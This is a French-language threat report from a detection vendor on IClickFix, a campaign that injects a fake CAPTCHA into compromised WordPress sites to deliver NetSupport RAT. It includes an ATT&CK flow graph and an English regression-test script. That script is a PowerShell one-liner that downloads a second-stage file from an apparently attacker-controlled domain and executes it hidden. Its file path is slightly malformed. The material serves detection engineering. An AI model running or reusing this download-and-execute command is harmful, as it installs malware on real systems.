SOC Prime Bias: Moyen

03 Fév 2026 21:25

Rencontrez IClickFix : un cadre répandu ciblant WordPress utilisant la tactique ClickFix

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Rencontrez IClickFix : un cadre répandu ciblant WordPress utilisant la tactique ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport présente IClickFix, un cadre JavaScript malveillant qui compromet les sites WordPress et présente un CAPTCHA falsifié de type Cloudflare Turnstile. L’appât contraint les visiteurs à exécuter une commande PowerShell qui télécharge et installe NetSupport RAT. La diffusion est soutenue par un système de distribution de trafic construit autour de l’outil YOURLS et un ensemble rotatif de domaines de redirection. Les chercheurs ont observé plus de 3,800 sites WordPress compromis servant cette chaîne à l’échelle mondiale depuis fin 2024.

Enquête

Les analystes de Sekoia ont identifié la balise JavaScript injectée ic-tracker-js sur des sites compromis, puis ont reconstruit le flux de redirection à travers plusieurs domaines à courte durée de vie. Ils ont capturé le modèle exact d’exécution PowerShell utilisé pour récupérer la charge utile finale et ont récupéré les composants NetSupport RAT abandonnés ainsi que les indicateurs d’infrastructure associée pour le commandement et contrôle.

Atténuation

Surveiller le contenu web pour l’ ic-tracker-js injection et bloquer les domaines malveillants connus, les redirections et les services de lien court utilisés dans la chaîne. Sur les points d’extrémité, détecter les schémas de téléchargement et d’exécution PowerShell compatibles avec le leur ClickFix. Ajouter une couverture pour la création de fichiers client NetSupport et pour la persistance via des Run clés de registre au niveau utilisateur.

Réponse

Lorsque des indicateurs apparaissent, isoler le point d’extrémité, arrêter le processus PowerShell actif, et supprimer les binaires NetSupport ainsi que toute persistance basée sur le registre. Suivre avec un triage médico-légal complet pour confirmer que l’attaquant n’a pas déployé d’implants supplémentaires ou établi des chemins d’accès secondaires.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef file fill:#cccccc %% Action Nodes action_initial_access[« <b>Action</b> – <b>T1190 Exploitation d’Application Exposée au Public</b><br/>Compromission de sites WordPress en exploitant des vulnérabilités du cœur ou de plugins populaires (Elementor, WooCommerce, Gravity Forms). »] class action_initial_access action action_content_injection[« <b>Action</b> – <b>T1659 Injection de Contenu</b><br/>Injection de JavaScript malveillant contenant la balise <i>icu2011trackeru2011js</i> dans des pages compromises afin de charger des scripts contrôlés par l’attaquant. »] class action_content_injection action action_software_extensions[« <b>Action</b> – <b>T1176 Extensions Logicielles</b><br/>Exploitation de plugins WordPress vulnérables comme extensions pour assurer la persistance du code malveillant sur le site. »] class action_software_extensions action action_dynamic_resolution[« <b>Action</b> – <b>T1568 Résolution Dynamique</b><br/>Utilisation du raccourcisseur YOURLS et d’une chaîne de domaines (par exemple ksfldfklskdmbxcvb.com) pour résoudre et livrer les charges utiles tout en filtrant les bots. »] class action_dynamic_resolution action action_obfuscated_payloads[« <b>Action</b> – <b>T1027 Fichiers Obfusqués ou Stockés</b><br/>Encodage en Base64 du JavaScript de première étape et du chargeur PowerShell, avec découpage de chaînes pour éviter la détection. »] class action_obfuscated_payloads action action_user_execution[« <b>Action</b> – <b>T1204.001 Exécution par l’Utilisateur : Lien Malveillant</b><br/>Les victimes cliquent sur l’URL WordPress compromise, déclenchant la chaîne de redirection. »] class action_user_execution action action_input_injection[« <b>Action</b> – <b>T1674 Injection d’Entrée et T1204.004 Copier-Coller Malveillant</b><br/>JavaScript écrit une commande PowerShell dans le presse-papiers et affiche un faux CAPTCHA Cloudflare Turnstile comme leurre. »] class action_input_injection action action_powershell[« <b>Action</b> – <b>T1059.001 PowerShell</b><br/>Une commande PowerShell masquée est exécutée, télécharge le script de seconde étape <i>tytuy.json</i> et installe NetSupport RAT. »] class action_powershell action action_persistence[« <b>Action</b> – <b>T1547.014 Exécution Automatique au Démarrage ou à la Connexion : Active Setup</b><br/>Création d’une clé de registre Run pointant vers <i>client32.exe</i> dans ProgramData\\S1kCMNfZi3, garantissant l’exécution au démarrage. »] class action_persistence action action_c2[« <b>Action</b> – <b>T1102.002 Service Web : Communication Bidirectionnelle</b><br/>NetSupport RAT communique via HTTPS avec des domaines contrôlés par l’attaquant (par exemple nightlomsknies.com/fakeurl.htm). »] class action_c2 action action_data_obfuscation[« <b>Action</b> – <b>T1001 Obfuscation des Données</b><br/>Obfuscation du trafic de commande et de contrôle et des charges utiles afin de dissimuler l’activité malveillante. »] class action_data_obfuscation action %% Tool / Malware / File Nodes tool_wordpress_core[« <b>Outil</b> – <b>Nom</b> : Cœur WordPress<br/><b>Vulnérabilité</b> : Exécution de code à distance »] class tool_wordpress_core tool tool_elementor_plugin[« <b>Outil</b> – <b>Nom</b> : Plugin Elementor<br/><b>Vulnérabilité</b> : Exécution de code à distance spécifique CVE »] class tool_elementor_plugin tool tool_yourls[« <b>Outil</b> – <b>Nom</b> : Raccourcisseur YOURLS<br/><b>Objectif</b> : Redirection d’URL et résolution dynamique »] class tool_yourls tool malware_netsupport[« <b>Logiciel malveillant</b> – <b>Nom</b> : NetSupport RAT<br/><b>Capacité</b> : Contrôle à distance et exfiltration de données »] class malware_netsupport malware file_client32[« <b>Fichier</b> – <b>Nom</b> : client32.exe<br/><b>Emplacement</b> : ProgramData\\S1kCMNfZi3 »] class file_client32 file file_tyuy_json[« <b>Fichier</b> – <b>Nom</b> : tytuy.json<br/><b>Objectif</b> : Script PowerShell de seconde étape »] class file_tyuy_json file %% Connections action_initial_access –>|exploite| tool_wordpress_core tool_wordpress_core –>|fournit l’accès| action_content_injection action_content_injection –>|injecte le script via| tool_elementor_plugin action_content_injection –>|mène à| action_software_extensions action_software_extensions –>|persiste via| tool_elementor_plugin action_software_extensions –>|active| action_dynamic_resolution action_dynamic_resolution –>|utilise| tool_yourls action_dynamic_resolution –>|livre| action_obfuscated_payloads action_obfuscated_payloads –>|génère| action_user_execution action_user_execution –>|déclenche| action_input_injection action_input_injection –>|écrit la commande dans le presse-papiers| action_powershell action_powershell –>|télécharge| file_tyuy_json file_tyuy_json –>|installe| malware_netsupport malware_netsupport –>|installe| action_persistence action_persistence –>|crée| file_client32 file_client32 –>|exécuté au démarrage| action_c2 malware_netsupport –>|communique avec| action_c2 action_c2 –>|utilise| action_data_obfuscation

Flux d’Attaque

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands:

    An adversary who has initial access to the endpoint wishes to establish a persistent foothold by delivering the NetSupport RAT. To evade interactive detection, they launch PowerShell in hidden mode with no profile or logo (-w hidden -nop -c). They then use Invoke‑WebRequest (iwr) to download a malicious JSON payload (tytuy.json) that contains a PowerShell script for the RAT. The script is written to the temporary directory and executed via Invoke‑Expression. This exact command line matches the strings the Sigma rule monitors.

  • Regression Test Script:

    # PowerShell one‑liner that matches the detection rule
    $url = 'https://scottvmorton.com/tytuy.json'
    $out = "$env:TEMPpayload.ps1"
    
    powershell -w hidden -nop -c "iwr '$url' -OutFile $out; iex (Get-Content $out -Raw)"
  • Cleanup Commands:

    # Remove the downloaded payload and any lingering PowerShell processes
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    Get-Process -Name powershell | Where-Object {$_.CommandLine -match 'tytuy.json'} | Stop-Process -Force